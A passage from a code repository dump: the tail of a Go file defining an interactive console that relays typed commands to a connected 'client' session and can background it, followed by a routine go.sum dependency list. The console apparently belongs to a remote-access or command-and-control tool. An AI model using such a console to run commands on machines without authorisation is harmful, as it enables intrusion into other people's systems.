"exit", 211 | Func: func(c *ishell.Context) { 212 | c.Stop() 213 | shell.Close() 214 | }, 215 | Help: "background the current session", 216 | }) 217 | shell.NotFound(func(c *ishell.Context) { 218 | client.runCommand(strings.Join(c.Args, " "), true) 219 | }) 220 | shell.Run() 221 | } 222 | 223 | func (client activeClient) ls() []string { 224 | list, err := client.runCommand("ls", false) 225 | if err != nil { 226 | list = "Unknown" 227 | } 228 | return strings.Split(list, ";") 229 | } 230 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 2 | cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 3 | cloud.google.com/go v0.37.4/go.mod h1:NHPJ89PdicEuT9hdPXMROBD91xc5uRDxsMtSB16k7hw= 4 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 5 | github.com/Shopify/sarama v1.19.0/go.mod h1:FVkBWblsNy7DGZRfXLU0O9RCGt5g3g3yEuWXgklEdEo= 6 | github.com/Shopify/toxiproxy v2.1.4+incompatible/go.mod h1:OXgGpZ6Cli1/URJOF1DMxUHB2q5Ap20/P/eIdh4G0pI= 7 | github.com/abiosoft/ishell v2.0.0+incompatible h1:zpwIuEHc37EzrsIYah3cpevrIc8Oma7oZPxr03tlmmw= 8 | github.com/abiosoft/ishell v2.0.0+incompatible/go.mod h1:HQR9AqF2R3P4XXpMpI0NAzgHf/aS6+zVXRj14cVk9qg= 9 | github.com/abiosoft/readline v0.0.0-20180607040430-155bce2042db h1:CjPUSXOiYptLbTdr1RceuZgSFDQ7U15ITERUGrUORx8= 10 | github.com/abiosoft/readline v0.0.0-20180607040430-155bce2042db/go.mod h1:rB3B4rKii8V21ydCbIzH5hZiCQE7f5E9SzUb/ZZx530= 11 | github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= 12 | github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= 13 | github.com/apache/thrift v0.12.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ= 14 | github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= 15 | github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= 16 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 17 | github.com/denisenkom/go-mssqldb v0.0.0-20190515213511-eb9f6a1743f3/go.mod h1:zAg7JM8CkOJ43xKXIj7eRO9kmWm/TW578qo+oDO6tuM= 18 | github.com/eapache/go-resiliency v1.1.0/go.mod h1:kFI+JgMyC7bLPUVY133qvEBtVayf5mFgVsvEsIPBvNs= 19 | github.com/eapache/go-xerial-snappy v0.0.0-20180814174437-776d5712da21/go.mod h1:+020luEh2TKB4/GOp8oxxtq0Daoen/Cii55CzbTV6DU= 20 | github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I= 21 | github.com/erikstmartin/go-testdb v0.0.0-20160219214506-8d10e4a1bae5/go.mod h1:a2zkGnVExMxdzMo3M0Hi/3sEU+cWnZpSni0O6/Yb/P0= 22 | github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= 23 | github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= 24 | github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BMXYYRWTLOJKlh+lOBt6nUQgXAfB7oVIQt5cNreqSLI= 25 | github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:rZfgFAXFS/z/lEd6LJmf9HVZ1LkgYiHx5pHhV5DR16M= 26 | github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= 27 | github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= 28 | github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= 29 | github.com/go-sql-driver/mysql v1.4.1/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w= 30 | github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= 31 | github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= 32 | github.com/gogo/protobuf v1.2.0/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= 33 | github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= 34 | github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 35 | github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 36 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 37 | github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= 38 | github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= 39 | github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= 40 | github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= 41 | github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= 42 | github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= 43 | github.com/gorilla/context v1.1.1/go.mod h1:kBGZzfjB9CEq2AlWe17Uuf7NDRt0dE0s8S51q0aT7Yg= 44 | github.com/gorilla/mux v1.6.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= 45 | github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= 46 | github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= 47 | github.com/jinzhu/gorm v1.9.11 h1:gaHGvE+UnWGlbWG4Y3FUwY1EcZ5n6S9WtqBA/uySMLE= 48 | github.com/jinzhu/gorm v1.9.11/go.mod h1:bu/pK8szGZ2puuErfU0RwyeNdsf3e6nCX/noXaVxkfw= 49 | github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E= 50 | github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc= 51 | github.com/jinzhu/now v1.0.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8= 52 | github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= 53 | github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= 54 | github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= 55 | github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= 56 | github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= 57 | github.com/lib/pq v1.1.1/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= 58 | github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA= 59 | github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= 60 | github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= 61 | github.com/mattn/go-isatty v0.0.10 h1:qxFzApOv4WsAL965uUPIsXzAKCZxN2p9UqdhFS4ZW10= 62 | github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= 63 | github.com/mattn/go-sqlite3 v1.11.0 h1:LDdKkqtYlom37fkvqs8rMPFKAMe8+SgjbwZ6ex1/A/Q= 64 | github.com/mattn/go-sqlite3 v1.11.0/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc= 65 | github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= 66 | github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= 67 | github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= 68 | github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= 69 | github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= 70 | github.com/openzipkin/zipkin-go v0.1.6/go.mod h1:QgAqvLzwWbR/WpD4A3cGpPtJrZXNIiJc5AZX7/PBEpw= 71 | github.com/pierrec/lz4 v2.0.5+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= 72 | github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 73 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 74 | github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= 75 | github.com/prometheus/client_golang v0.9.3-0.20190127221311-3c4408c8b829/go.mod h1:p2iRAGwDERtqlqzRXnrOVns+ignqQo//hLXqYxZYVNs= 76 | github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= 77 | github.com/prometheus/client_model v0.0.0-20190115171406-56726106282f/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= 78 | github.com/prometheus/common v0.2.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= 79 | github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= 80 | github.com/prometheus/procfs v0.0.0-20190117184657-bf6a532e95b1/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= 81 | github.com/rcrowley/go-metrics v0.0.0-20181016184325-3113b8401b8a/go.mod h1:bCqnVzQkZxMG4s8nGwiZ5l3QUCyqpo9Y+/ZMZ9VjZe4= 82 | github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= 83 | github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 84 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= 85 | go.opencensus.io v0.20.1/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk= 86 | golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= 87 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 88 | golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 89 | golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= 90 | golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= 91 | golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= 92 | golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= 93 | golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 94 | golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 95 | golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 96 | golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 97 | golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 98 | golang.org/x/net v0.0.0-20190125091013-d26f9f9a57f3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 99 | golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 100 | golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 101 | golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= 102 | golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= 103 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 104 | golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 105 | golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 106 | golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 107 | golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 108 | golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 109 | golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 110 | golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 111 | golang.org/x/sys v0.0.0-20181122145206-62eef0e2fa9b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 112 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 113 | golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 114 | golang.org/x/sys v0.0.0-20191008105621-543471e840be h1:QAcqgptGM8IQBC9K/RC4o+O9YmqEm0diQn9QmZw/0mU= 115 | golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 116 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 117 | golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 118 | golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= 119 | golang.org/x/tools v0.0.0-20180828015842-6cd1fcedba52/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 120 | golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 121 | golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= 122 | golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 123 | google.golang.org/api v0.3.1/go.mod h1:6wY9I6uQWHQ8EM57III9mq/AjF+i8G65rmVagqKMtkk= 124 | google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= 125 | google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= 126 | google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= 127 | google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 128 | google.golang.org/genproto v0.0.0-20190404172233-64821d5d2107/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 129 | google.golang.org/grpc v1.17.0/go.mod h1:6QZJwpn2B+Zp71q/5VxRsJ6NXXVCE5NRUHRo+f3cWCs= 130 | google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= 131 | gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= 132 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 133 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 134 | gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= 135 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= 136 | gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 137 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 138 | honnef.co/go/tools v0.0.0-20180728063816-88497007e858/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 139 | honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 140 | honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 141 | --------------------------------------------------------------------------------